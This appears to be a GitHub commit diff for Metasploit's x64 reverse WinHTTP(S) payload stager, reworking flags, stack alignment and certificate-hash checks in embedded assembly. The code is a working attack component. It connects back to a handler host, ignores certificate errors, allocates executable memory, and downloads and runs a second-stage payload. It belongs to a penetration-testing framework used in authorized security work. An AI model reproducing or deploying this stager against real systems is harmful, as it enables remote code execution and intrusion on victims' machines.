Skip to content

Commit 68eadd9

Browse files
committed
More work on reverse_winhttps
1 parent d9068b7 commit 68eadd9

File tree

1 file changed

+35
-30
lines changed

1 file changed

+35
-30
lines changed

lib/msf/core/payload/windows/x64/reverse_winhttp.rb

Lines changed: 35 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22

33
require 'msf/core'
44
require 'msf/core/payload/windows/x64/reverse_winhttp'
5+
require 'rex/payloads/meterpreter/config'
56

67
module Msf
78

@@ -141,22 +142,15 @@ def asm_reverse_winhttp(opts={})
141142
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user])
142143
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass])
143144

144-
http_open_flags = 0
145-
secure_flags = 0
145+
http_open_flags = 0x00000100 # WINHTTP_FLAG_BYPASS_PROXY_CACHE
146+
secure_flags = (
147+
0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
148+
0x00001000 | # SECURITY_FLAG_IGNORE_CERT_CN_INVALID
149+
0x00000200 | # SECURITY_FLAG_IGNORE_WRONG_USAGE
150+
0x00000100 ) # SECURITY_FLAG_IGNORE_UNKNOWN_CA
146151

147152
if opts[:ssl]
148-
http_open_flags = (
149-
0x00800000 | # WINHTTP_FLAG_SECURE
150-
0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE
151-
152-
secure_flags = (
153-
0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
154-
0x00001000 | # SECURITY_FLAG_IGNORE_CERT_CN_INVALID
155-
0x00000200 | # SECURITY_FLAG_IGNORE_WRONG_USAGE
156-
0x00000100 ) # SECURITY_FLAG_IGNORE_UNKNOWN_CA
157-
else
158-
http_open_flags = (
159-
0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE
153+
http_open_flags |= 0x00800000 # WINHTTP_FLAG_SECURE
160154
end
161155

162156
asm = %Q^
@@ -210,8 +204,8 @@ def asm_reverse_winhttp(opts={})
210204

211205
asm << %Q^
212206
xor r9, r9 ; NULL (lpszProxyBypass)
213-
mov rcx, rsp ; Pointer to empty string ("")
214207
push rbx ; 0 for alignment
208+
mov rcx, rsp ; Pointer to empty string ("")
215209
push rbx ; NULL (lpszProxyBypass)
216210
push rbx ; 0 (dwFlags)
217211
push rbx ; 0 for alignment
@@ -228,8 +222,6 @@ def asm_reverse_winhttp(opts={})
228222
; r9 should still be 0 after the previous call, so we don't need
229223
; to clear it again
230224
xor r9, r9 ; 0 (dwReserved)
231-
push rbx ; 0 for alignment
232-
push rbx ; 0 for alignment
233225
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpConnect')}
234226
call rbp
235227
@@ -238,17 +230,15 @@ def asm_reverse_winhttp(opts={})
238230
db #{encoded_url}
239231
get_server_uri:
240232
pop r8 ; Stack pointer (pwszObjectName)
241-
; r9 should still be 0 after the previous call, so we don't need
242-
; to clear it again
243-
;xor r9, r9 ; NULL (pwszVersion)
233+
xor r9, r9 ; NULL (pwszVersion)
234+
push rbx ; 0 for alignment
244235
; the push/pop sequence saves a byte over XOR
245236
push rbx ; push 0
246237
pop rdx ; NULL (pwszVerb - defaults to GET)
247238
mov rcx, rax ; returned by WinHttpConnect (hConnect)
248239
push 0x#{http_open_flags.to_s(16)} ; (dwFlags)
249240
push rbx ; NULL (ppwszAcceptTypes)
250241
push rbx ; NULL (pwszReferer)
251-
push rbx ; 0 for alignment
252242
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpenRequest')}
253243
call rbp
254244
xchg rsi, rax ; save HttpRequest handle in rsi
@@ -302,10 +292,14 @@ def asm_reverse_winhttp(opts={})
302292
push 4
303293
pop r9 ; 4 (dwBufferLength)
304294
push rbx ; 0 for alignment
295+
push rbx ; 0 for alignment
305296
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')}
306297
call rbp
307298
test eax, eax ; use eax, it's 1 byte less than rax
308299
jz failure
300+
; more alignment require as a result of this call. I have no idea why.
301+
push rbx ; 0 for alignment
302+
push rbx ; 0 for alignment
309303
^
310304
end
311305

@@ -327,7 +321,16 @@ def asm_reverse_winhttp(opts={})
327321
push rbx ; push 0 (dwContext)
328322
push rbx ; push 0 (dwTotalLength)
329323
push rbx ; push 0 (dwOptionalLength)
324+
^
325+
326+
# required extra alignment for non-ssl payloads. Still don't know why.
327+
unless opts[:ssl]
328+
asm << %Q^
330329
push rbx ; 0 for alignment
330+
^
331+
end
332+
333+
asm << %Q^
331334
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSendRequest')}
332335
call rbp
333336
test eax, eax ; use eax, it's 1 byte less than rax
@@ -369,24 +372,25 @@ def asm_reverse_winhttp(opts={})
369372
; worry about adding something to the stack to have space for the cert pointer,
370373
; so we won't worry about doing it, it'll save us bytes!
371374
mov r8, rsp ; Stack pointer (lpBuffer)
375+
mov r14, r8 ; Back the stack pointer up for later use
372376
push 8 ; One whole pointer
373377
mov r9, rsp ; Stack pointer (lpdwBufferLength)
374378
push rbx ; 0 for alignment
375-
push rbx ; 0 for alignment
376379
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpQueryOption')}
377380
call rbp
378381
test eax, eax ; use eax instead of rax, saves a byte
379382
jz failure ; Bail out if we couldn't get the certificate context
380383
381384
ssl_cert_get_server_hash:
382-
mov rcx, [r9] ; Cert context pointer (pCertContext)
383-
push 20 ; length of the sha1 hash
385+
mov rcx, [r14] ; Cert context pointer (pCertContext)
386+
push 32 ; sha1 length, rounded to multiple of 16
384387
mov r9, rsp ; Address of length (pcbData)
388+
mov r15, rsp ; Backup address of length
385389
sub rsp, [r9] ; Allocate 20 bytes for the hash output
386390
mov r8, rsp ; 20 byte buffer (pvData)
391+
mov r14, r8 ; Back the stack pointer up for later use
387392
push 3
388393
pop rdx ; CERT_SHA1_HASH_PROP_ID (dwPropId)
389-
; TODO: cater for alignment?
390394
mov r10, #{Rex::Text.block_api_hash('crypt32.dll', 'CertGetCertificateContextProperty')}
391395
call rbp
392396
test eax, eax ; use eax instead of rax, saves a byte
@@ -397,11 +401,13 @@ def asm_reverse_winhttp(opts={})
397401
db #{encoded_cert_hash}
398402
399403
ssl_cert_compare_hashes:
400-
pop rsi ; get the expected hash
401-
mov rdi, r8 ; pointer to the retrieved hash
402-
mov rcx, [r9] ; number of bytes to compare
404+
pop rax ; get the expected hash
405+
xchg rax, rsi ; swap hash and handle for now
406+
mov rdi, r14 ; pointer to the retrieved hash
407+
mov rcx, [r15] ; number of bytes to compare
403408
repe cmpsb ; do the hash comparison
404409
jnz failure ; Bail out if the result isn't zero
410+
xchg rax, rsi ; swap hash and handle back!
405411
406412
; Our certificate hash was valid, hurray!
407413
^
@@ -429,7 +435,6 @@ def asm_reverse_winhttp(opts={})
429435
mov r8, 0x1000 ; MEM_COMMIT (flAllocationType)
430436
push 0x40 ; PAGE_EXECUTE_READWRITE
431437
pop r9 ; (flProtect)
432-
; TODO: cater for alignment?
433438
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
434439
call rbp ; Call VirtualAlloc(...);
435440
@@ -446,7 +451,7 @@ def asm_reverse_winhttp(opts={})
446451
mov r9, rdi ; Size received (lpNumberOfBytesRead)
447452
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReadData')}
448453
call rbp
449-
add rsp, 32 ; clean up reserved space
454+
add rsp, 32 ; clean up reserved space
450455
451456
test eax, eax ; use eax instead of rax, saves a byte
452457
jz failure

0 commit comments

Comments
 (0)